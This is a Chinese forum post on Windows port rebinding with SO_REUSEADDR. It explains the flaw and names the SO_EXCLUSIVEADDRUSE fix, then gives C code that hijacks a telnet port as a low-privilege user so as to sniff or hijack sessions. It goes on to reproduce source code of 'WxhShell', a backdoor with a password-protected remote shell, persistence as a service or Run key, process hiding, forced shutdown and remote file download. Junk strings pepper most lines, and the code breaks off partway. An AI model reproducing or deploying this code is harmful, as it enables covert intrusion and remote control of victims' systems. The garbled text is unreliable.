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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X|f7K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vX0f,y  
 xw^R@H  
  saddr.sin_family = AF_INET; zi R5:d3   
lGwl1,=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RqEH| EUZ  
,mhQ"\+C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^bg2[FV  
LEMfG~Czq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3~S'LxV  
IN8>ZV`j)  
  这意味着什么?意味着可以进行如下的攻击: {'?)FX*W  
0.T4{JS#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F'jWV5"*  
lO&3{dOYE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]D[DU]K  
4#x5MM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $3`>{3x$  
@SZM82qU2z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {^(ACS9mL  
?0? R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q_* "SRz  
S5~VD?O,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -p3Re9  
Bj k]ZU0T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fVb-$  
qmO6,T-|  
  #include G'3qzBJ#  
  #include G9g1hie@%  
  #include H 0+dV3  
  #include    O+g3X5f+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   * #jsgj[  
  int main() mPI8_5V8]  
  { 0/S_e)U  
  WORD wVersionRequested; }ci#>  
  DWORD ret; 3"o"fl  
  WSADATA wsaData; 'smWLz}  
  BOOL val; 8} =JKR^cK  
  SOCKADDR_IN saddr; nF6q7  
  SOCKADDR_IN scaddr; PH"n{lW.T  
  int err; 5>BK%`  
  SOCKET s; >2bKSh  
  SOCKET sc; =t6z \WB  
  int caddsize; [2"<W! p  
  HANDLE mt; T]2q?; N  
  DWORD tid;   tOfg?)h{dc  
  wVersionRequested = MAKEWORD( 2, 2 ); ]-ZEWt6lsc  
  err = WSAStartup( wVersionRequested, &wsaData ); me[DmiM,  
  if ( err != 0 ) { 7AYd!n&S  
  printf("error!WSAStartup failed!\n"); 0-~\ W(  
  return -1; X]\ \,  
  } 9U$EJN_G  
  saddr.sin_family = AF_INET; ^G6RjJxqp8  
   A.hd Kl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1V8-^  
{?'fyEeg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h/~n\0,J/  
  saddr.sin_port = htons(23); N[kwO1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?LvCR_D:  
  { zZVfj:i8  
  printf("error!socket failed!\n"); xg)v0y~  
  return -1; E<yW\  
  } p.LFVFPT  
  val = TRUE; cA%%IL$R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]`Oo%$Ue  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M5xCC!  
  { [IK  )  
  printf("error!setsockopt failed!\n"); R: l&2k@  
  return -1; 76u&EG%  
  } `uC@nJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pp )3(T:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4;2< ^[M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ) $PDo 7#  
FJasS8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *Z|y'<s  
  { Ei2'[PK  
  ret=GetLastError(); Yo[;W vu  
  printf("error!bind failed!\n"); qWmQ-|Py  
  return -1; YW{C} NA  
  } w8n|B?Sr  
  listen(s,2); )B[0JrcE  
  while(1) HD(.BW7  
  { ;[fw]P n  
  caddsize = sizeof(scaddr); s`0QA!G{-  
  //接受连接请求 rF]h$Z8o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); % LJs  
  if(sc!=INVALID_SOCKET) J>/w5$h5  
  { \Ym5<];E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x g0iN'e'K  
  if(mt==NULL) ,_Z+8  
  { g]*#%Xa  
  printf("Thread Creat Failed!\n"); :_O%/k1\@  
  break; 'nF2aD%A  
  } vd8{c7g:n  
  } T<XA8h*  
  CloseHandle(mt); ih7/}   
  } 9(@\&>)  
  closesocket(s); XGl+S  
  WSACleanup(); #-bA[eQV  
  return 0; `QXErw  
  }   g1jTy7g?  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~Q\3pI. |  
  { 7D<#(CE{  
  SOCKET ss = (SOCKET)lpParam; 1Z9qjV%^  
  SOCKET sc; >yULC|'F&~  
  unsigned char buf[4096]; 3`k;a1Z#O'  
  SOCKADDR_IN saddr; {~F4WjHJp  
  long num; KQ~i<1&j  
  DWORD val; 7AObC4 g  
  DWORD ret; [ i]Ub0Dh7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SLh(9%S;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /kfgx{jZ  
  saddr.sin_family = AF_INET; @;'o2   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C+TI]{t  
  saddr.sin_port = htons(23); qzTuxo0B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d+'p@!W_  
  { }2e? ?3  
  printf("error!socket failed!\n"); hRCed4qA  
  return -1; /Z$&pqs!  
  } ~8]NK&J  
  val = 100; dxmE3*b`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !_"fP:T>  
  { Y*UA, <-  
  ret = GetLastError(); q}]XYys  
  return -1; UXh9:T'%  
  } [Nk3|u`h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Q .>rX,F  
  { 5=Di<!a;  
  ret = GetLastError(); ndkti5L,   
  return -1; ( vca&wI!  
  } 9T1ZL5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Nd;K u6  
  { hC\6- 0u  
  printf("error!socket connect failed!\n"); ia MUsa{  
  closesocket(sc); <"_d]?,  
  closesocket(ss); IyPwP*A  
  return -1; THS.GvT9[  
  } |cR;{Z8?_  
  while(1) `b^Ru+(dM  
  { CY"/uSB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 & 9<+;*/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w'm;82V:P-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &sU?Ok6  
  num = recv(ss,buf,4096,0); w'UVKpG+  
  if(num>0) {QwHc5Bf  
  send(sc,buf,num,0); PF53mUs4  
  else if(num==0) =W"F[fD  
  break; +1D+]*t_?[  
  num = recv(sc,buf,4096,0); 3nhXZOO1  
  if(num>0) R.yC(r  
  send(ss,buf,num,0); i{`;R  
  else if(num==0) GgB,tam{p  
  break; zR{W?_cV  
  } aXoVy&x=  
  closesocket(ss); jJ5W>Q1mK$  
  closesocket(sc); [Lzw#XE  
  return 0 ; oomT)gO 6*  
  } Gy6l<:;  
} x2DT8u  
]4pkcV P  
========================================================== @CT;g\4  
FGoy8+nB1M  
下边附上一个代码,,WXhSHELL 8/=L2fNN[  
dzDqZQY$  
========================================================== z[3L2U~6  
+w+} b^4  
#include "stdafx.h" lhBT@5Dm9  
pNKhc#-w  
#include <stdio.h> kYjGj,m"  
#include <string.h> /|D*w^ >  
#include <windows.h> Ym =FgM\  
#include <winsock2.h> , T8>}U(  
#include <winsvc.h> 6e[VgN-s  
#include <urlmon.h> lw< c2 C  
D>LZP!  
#pragma comment (lib, "Ws2_32.lib") ;<(W% _  
#pragma comment (lib, "urlmon.lib") sk=-M8;\  
\Z+z?K O  
#define MAX_USER   100 // 最大客户端连接数 o}* hY"&  
#define BUF_SOCK   200 // sock buffer ]{ntt}3G,  
#define KEY_BUFF   255 // 输入 buffer Qx+%"YO  
Ro9tZ'N!S  
#define REBOOT     0   // 重启 =fO5cA6Z  
#define SHUTDOWN   1   // 关机 !lj| cT9  
PEW=@xj2y  
#define DEF_PORT   5000 // 监听端口 ~,i-8jl,  
`pGa~!vl  
#define REG_LEN     16   // 注册表键长度 lx[oaCr  
#define SVC_LEN     80   // NT服务名长度 OUhqM VX9C  
Kq;8=xP[  
// 从dll定义API _Nqt21sL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /,g,Ch<d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r(RKwr:m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6I4oi@hZz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bi @2  
@ < Q|5  
// wxhshell配置信息 n6BQk 2l  
struct WSCFG { m>MB7,C;N  
  int ws_port;         // 监听端口 Ndi9FD3im  
  char ws_passstr[REG_LEN]; // 口令 XBp?w  
  int ws_autoins;       // 安装标记, 1=yes 0=no *q-['"f  
  char ws_regname[REG_LEN]; // 注册表键名 ' <@3i[M  
  char ws_svcname[REG_LEN]; // 服务名 SUU !7Yd|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z|lq b=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {/ BT9|LI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NnT1X;0W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *1fb}C_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" % a@>_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w%JTTru  
e,Uo#T6J  
}; pUV/ Ul]  
K*X_FJ  
// default Wxhshell configuration P_Gw-`L5T  
struct WSCFG wscfg={DEF_PORT, RT.D"WvT  
    "xuhuanlingzhe", -UOj>{-  
    1, d~JKH&x<  
    "Wxhshell", i;_tI#:A  
    "Wxhshell", MM x9(`t*.  
            "WxhShell Service", PqiB\~o@Z  
    "Wrsky Windows CmdShell Service", T^Ze3L]  
    "Please Input Your Password: ", 9Ru8~R/\  
  1, B4i!/@0s  
  "http://www.wrsky.com/wxhshell.exe", 3%%o?8ES  
  "Wxhshell.exe" CTZh0 x  
    }; U qFv}VsnF  
"saUai4z  
// 消息定义模块 \xnWciQ#{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^HqY9QT2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v33dxZ'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1ke g9]  
char *msg_ws_ext="\n\rExit."; &3TEfvz  
char *msg_ws_end="\n\rQuit."; X ><?F|#7T  
char *msg_ws_boot="\n\rReboot..."; HLV2~5Txc  
char *msg_ws_poff="\n\rShutdown..."; !3*(N8_|#  
char *msg_ws_down="\n\rSave to "; [&#/]Ul'  
3< 2}V  
char *msg_ws_err="\n\rErr!"; aD=A^ktx  
char *msg_ws_ok="\n\rOK!"; SU/BQ3  
>VN5`Zlw\C  
char ExeFile[MAX_PATH]; '>' wK.  
int nUser = 0; 5sx1Zq7  
HANDLE handles[MAX_USER]; vM*($qpAy  
int OsIsNt; q@nP}Pv&5  
5yzv|mrx  
SERVICE_STATUS       serviceStatus; gT#&"aP5S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ytJ=0r  
c0;t4( &8  
// 函数声明 'VlDh`<W  
int Install(void); A8oo@z68n>  
int Uninstall(void);  ng_^  
int DownloadFile(char *sURL, SOCKET wsh); y*tZ !m2Gg  
int Boot(int flag); 2M68CE  
void HideProc(void); 7]||UuF<  
int GetOsVer(void); 'Pn3%&O$  
int Wxhshell(SOCKET wsl); -8j+s}Q  
void TalkWithClient(void *cs); ,u`YT%&L  
int CmdShell(SOCKET sock); ,z-}t& _t  
int StartFromService(void); q(2K6  
int StartWxhshell(LPSTR lpCmdLine); Ai gS!-   
S/ODq L|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nysUZB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OVhE??#  
9/ibWa\.  
// 数据结构和表定义 r?Wk<>%>  
SERVICE_TABLE_ENTRY DispatchTable[] = .xH5fMj,"  
{ 83Q 4On  
{wscfg.ws_svcname, NTServiceMain}, (+FfB"3]  
{NULL, NULL} 3~ S8!nx  
}; EioB%f3  
g'V>_u#(  
// 自我安装 -1U D0(  
int Install(void) D-4f >  
{ 7zSLAHW  
  char svExeFile[MAX_PATH]; NT+?  #0I  
  HKEY key; j+["JXy  
  strcpy(svExeFile,ExeFile); @++.FEf  
1M 781  
// 如果是win9x系统,修改注册表设为自启动 ZGYr$C~  
if(!OsIsNt) { O2f-5Y$@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ft;^g3N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f'VX Y-  
  RegCloseKey(key); i-6F:\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qCqFy#Ms\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |(q9"  
  RegCloseKey(key); 0^RXGN  
  return 0; zBk'{[y9L  
    } % Cv D-![0  
  } 8_ tK4PwP  
} I^8"{J.Q)[  
else { % <q w  
t`,` 6@d  
// 如果是NT以上系统,安装为系统服务 aW`Lec{.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @)4]b+8Z  
if (schSCManager!=0) 'zGo?a  
{ 8@2OJ=`[  
  SC_HANDLE schService = CreateService p~,]*y:XT  
  ( kAC&S!n  
  schSCManager, _J? Dq  
  wscfg.ws_svcname, T3pmVl  
  wscfg.ws_svcdisp, Ou1JIxZ)|  
  SERVICE_ALL_ACCESS, }0X:F`Y-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "0cID3A$  
  SERVICE_AUTO_START, ek}a}.3 {  
  SERVICE_ERROR_NORMAL, Wu_kx2h  
  svExeFile, 9)gC6 IiW  
  NULL, LG1r]2  
  NULL, )Hk3A$6(  
  NULL, Hr]h J c  
  NULL, IuRmEL_Q_  
  NULL y10h#&k  
  ); ~ y;6W0x  
  if (schService!=0) 26k LhFS  
  { FcYFovS  
  CloseServiceHandle(schService); 0 SNIYkGE  
  CloseServiceHandle(schSCManager); I{*<4a7q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x"{'&J[hx  
  strcat(svExeFile,wscfg.ws_svcname); 2h=!k|6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MvWaB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iIq)~e/ Z  
  RegCloseKey(key); %e(z /"M=`  
  return 0; p n.T~"%  
    } S& \L-@  
  } f1_<G  
  CloseServiceHandle(schSCManager); uec!RKE  
} $[/&74#0HX  
} f' aVV!  
KFvQ  
return 1; j;fpQ_KL  
} [zlN !.Z  
=IW?WIXk  
// 自我卸载 3MY(<TGX  
int Uninstall(void) 24)(5!:"  
{ Qe} `~a9P  
  HKEY key; Xp8]qH|K   
vL\&6n~M>  
if(!OsIsNt) { yLdVd P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $} =krz:r  
  RegDeleteValue(key,wscfg.ws_regname); (s7;^)}zx  
  RegCloseKey(key); lobGj8uxq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7~GB;1n  
  RegDeleteValue(key,wscfg.ws_regname); X '`~s}vGO  
  RegCloseKey(key); \7l-@6 '7  
  return 0; 5i1>I=N  
  } mqAWL:VvQ7  
} :xh?e N&  
} d_)o  
else { ,>eMG=C;g  
elG<k%/2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y))u&*RuT0  
if (schSCManager!=0) `9uB~LY^i  
{ k25WucQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #&m0WI1  
  if (schService!=0) o;=l ^-  
  { dUF&."pW e  
  if(DeleteService(schService)!=0) { 7"w2$*4'0  
  CloseServiceHandle(schService); -xDGH  
  CloseServiceHandle(schSCManager); L.2/*H#  
  return 0; QzzW x2  
  } " 9^j.  
  CloseServiceHandle(schService); )6Ny1x+  
  } k-HCeZ  
  CloseServiceHandle(schSCManager); x7<\] 94  
} Ju3*lk/j-  
} PG_0\'X)/w  
}2uI?i8  
return 1; zSSB>D  
} N\#MwLm  
N#Zhxu,g!  
// 从指定url下载文件 ^H2-RBE#  
int DownloadFile(char *sURL, SOCKET wsh) z-LB^kc8oQ  
{ f~d d3m('  
  HRESULT hr; @Q^P{  
char seps[]= "/"; >9q&PEc  
char *token; |iR T! ]  
char *file; <0QH<4  
char myURL[MAX_PATH]; )~+e`q  
char myFILE[MAX_PATH]; tvu!< dxZ  
sp5eVAd  
strcpy(myURL,sURL); Tjl:|F8  
  token=strtok(myURL,seps); OnF3lCmu  
  while(token!=NULL) IZ =Mlu  
  { HE'2"t[a  
    file=token; {iv<w8CU)  
  token=strtok(NULL,seps); l411a9o  
  } BwBm[jtP  
cu%C"  
GetCurrentDirectory(MAX_PATH,myFILE); @*qz(h]\  
strcat(myFILE, "\\"); n[]tXrhU  
strcat(myFILE, file); CMCO}#  
  send(wsh,myFILE,strlen(myFILE),0); Z7_ zMM  
send(wsh,"...",3,0); EC\yz H*X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2A\,-*pc  
  if(hr==S_OK) W ]Nv33i [  
return 0; Ci<ATho  
else }yJ$SR]t  
return 1; -,+q#F  
CWNx4)ZGw  
} qWx][D"  
(vB<%l.&  
// 系统电源模块 @E-\ J7 yh  
int Boot(int flag) m^#rB`0;L  
{ d ,Y#H0`  
  HANDLE hToken; &CIVL#];e  
  TOKEN_PRIVILEGES tkp; un=2}@ '  
+q)5dYRzV  
  if(OsIsNt) { n#:N;T;\a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K\$J4~EtG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .{=$!8|&I9  
    tkp.PrivilegeCount = 1; [<{Kw=X__2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e+j)~RBnu3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \N4 y<  
if(flag==REBOOT) { gF0q@My~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }>'PT -  
  return 0; K"0PTWt  
} j8n4fv-)f  
else { v $7EvFS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LK;k'IJ  
  return 0; ]b=P=  
} G <uyin>  
  } GQl$yZaK{  
  else { +8#_59;x  
if(flag==REBOOT) { Cxcr/9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l%`F&8K  
  return 0; XO9M_*Va  
} S_T1y  
else { 8-lOB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5 gv/Pq&  
  return 0; ! /NG.Wf  
} J%jB?2 1:o  
} c= x,ijY "  
T`9u!#mT=  
return 1; z)xSN;x  
} =e}H'5?!  
"n: %E  
// win9x进程隐藏模块 !j\" w p  
void HideProc(void) :gB[O>'<m  
{ Ik[s  
_9?I A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sU!6hk  
  if ( hKernel != NULL ) d)[;e()  
  { TeWMp6u,r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `D":Q=:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |8.(XsN  
    FreeLibrary(hKernel); t2V0lyeL  
  } `$~Rxz Z g  
Fk6x<^Q<w  
return; 8UMF q  
} *5wu   
uU> wg*m  
// 获取操作系统版本 @_"9Dy Y%  
int GetOsVer(void) rx5B=M  
{ 78Aa|AJU  
  OSVERSIONINFO winfo; `-\/$M9s=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d7&eLLx  
  GetVersionEx(&winfo); eVR5Xar  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yCXrVN:`,  
  return 1; F*Z=<]<+  
  else 8`]=C~ G  
  return 0; %+F"QI1~0  
} Lqp8yVO  
{0@& OO:w  
// 客户端句柄模块 >;#=gM  
int Wxhshell(SOCKET wsl) |w*R8ro_  
{ _oB_YL;,*  
  SOCKET wsh; yE\wj  
  struct sockaddr_in client; 3s:%2%jVK  
  DWORD myID; ^Q{Bq  
ZO7&vF}  
  while(nUser<MAX_USER) NJ MJ  
{ tj*y)28-  
  int nSize=sizeof(client); Z Dhx5SL&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LrCk*@  
  if(wsh==INVALID_SOCKET) return 1; IhiGP {  
1 Vy,&[c~"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a Zk&`Jpz  
if(handles[nUser]==0) \#rO!z d  
  closesocket(wsh); #n  
else !>(RK"KWq]  
  nUser++; fIocq  
  } mF09U(ci  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }Z`(aDH  
= pIy  
  return 0; -/D|]qqHm  
} 6] z}#"  
GOSI3RRn  
// 关闭 socket #Rew [\$  
void CloseIt(SOCKET wsh) CodSJ,  
{ >~\w+^2f8  
closesocket(wsh); '(#g1H3  
nUser--; a45 ss7  
ExitThread(0); j}+5vB|0  
} -Z^4L  
cE{ =(OQ  
// 客户端请求句柄 (vJ2z =z  
void TalkWithClient(void *cs) X['2b78k  
{ 3,);0@I  
|c2v%'J2G  
  SOCKET wsh=(SOCKET)cs; ,}C8;/V  
  char pwd[SVC_LEN]; o0p T6N)  
  char cmd[KEY_BUFF]; bO<0qM~  
char chr[1]; bQa oMZB  
int i,j; l SkEuN  
1Xyp/X2rI  
  while (nUser < MAX_USER) { 1Qh`6Ya f  
XNH4==4  
if(wscfg.ws_passstr) { HXJ9xkrr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {$^SP7qV#>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Btv ClZ  
  //ZeroMemory(pwd,KEY_BUFF); RP(/x+V  
      i=0; Z,WW]Y,$  
  while(i<SVC_LEN) { T 4|jz<iK]  
1.R kIB  
  // 设置超时 mjEs5XCC"  
  fd_set FdRead; -{9Gagy2&  
  struct timeval TimeOut; j[P8  
  FD_ZERO(&FdRead); 3ViM ?p  
  FD_SET(wsh,&FdRead); P 4;{jG  
  TimeOut.tv_sec=8; =J@`0H"  
  TimeOut.tv_usec=0; el'j&I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H/+{e,SW"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]@SU4  
=s'7$D}0.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GM}C]MVD  
  pwd=chr[0]; '@:[axu  
  if(chr[0]==0xd || chr[0]==0xa) { *`KrVu 6s  
  pwd=0; =ef1XQ{i*  
  break; |5 xzl  
  } _@E "7<\  
  i++; jX|=n.#q  
    } abZdGnc  
^'B-sz{{  
  // 如果是非法用户,关闭 socket  #[ :w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0yHjrxc$  
} )!C7bTv 4  
>%c*Xe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GOW"o"S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S?,_<GD)w  
6;JP76PD  
while(1) { >I-g[*  
?`A9(#ySM  
  ZeroMemory(cmd,KEY_BUFF); b}%g}L D  
Bn-J_-%M  
      // 自动支持客户端 telnet标准   UE)fUTS  
  j=0; pAg$oe#  
  while(j<KEY_BUFF) { Wy(pLBmb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?f@ 9nph  
  cmd[j]=chr[0]; <9\,QR)  
  if(chr[0]==0xa || chr[0]==0xd) { E!@/NE\-  
  cmd[j]=0; !~d'{sy6  
  break; bpMl =_  
  } kr{)  
  j++; ]-KV0H  
    } s$3`X(Pn  
+\U]p_Fo3  
  // 下载文件 .\)k+ R  
  if(strstr(cmd,"http://")) { &Y=.D:z<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yId;\o B  
  if(DownloadFile(cmd,wsh)) fM{1Os  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !u%9;>T7  
  else ;[cai MA-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jnDQ{D  
  } n7+aM@G  
  else { #|ddyCg2  
C1D ! V:  
    switch(cmd[0]) { +l.|kkZ?  
  yXXvs'$R \  
  // 帮助 O8$~*NFJf  
  case '?': { X/wmKi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m8u=u4z("  
    break; 08O7F  
  } enPLaiJ'|q  
  // 安装 )"F5lOA6  
  case 'i': { s~)L_ p  
    if(Install()) e^Aa!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w`0)x5 TGR  
    else 0&Qsk!-B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `>\4"`I  
    break; HrDTn&/  
    } ru DP529;  
  // 卸载 m'SmN{(t  
  case 'r': { Gj5>Y!9  
    if(Uninstall()) =tNzGaWJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2H3(HZv  
    else srsK:%`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TMNfJz   
    break; KCl &H  
    } o|0 '0P  
  // 显示 wxhshell 所在路径 Vj/fAHR`>'  
  case 'p': { =p5?+3" @  
    char svExeFile[MAX_PATH]; m:b^,2"g  
    strcpy(svExeFile,"\n\r"); z^gi[ mi  
      strcat(svExeFile,ExeFile); fWd~-U0M^  
        send(wsh,svExeFile,strlen(svExeFile),0); T7^ulG1'  
    break; 70duk:Ri0  
    } P&,hiGTDi  
  // 重启 G&.d)NfE  
  case 'b': { xJ N|w\&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XynU/Go,  
    if(Boot(REBOOT)) =?wMESU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0GS{F8f~,  
    else { g&q]@m  
    closesocket(wsh); @l)\?IEF@f  
    ExitThread(0); [ k!-;mi   
    } DakLD~H;  
    break; FPvuzBJ  
    } KlY,NSlQ  
  // 关机 `i=JjgG@  
  case 'd': { lj4%(rB=  
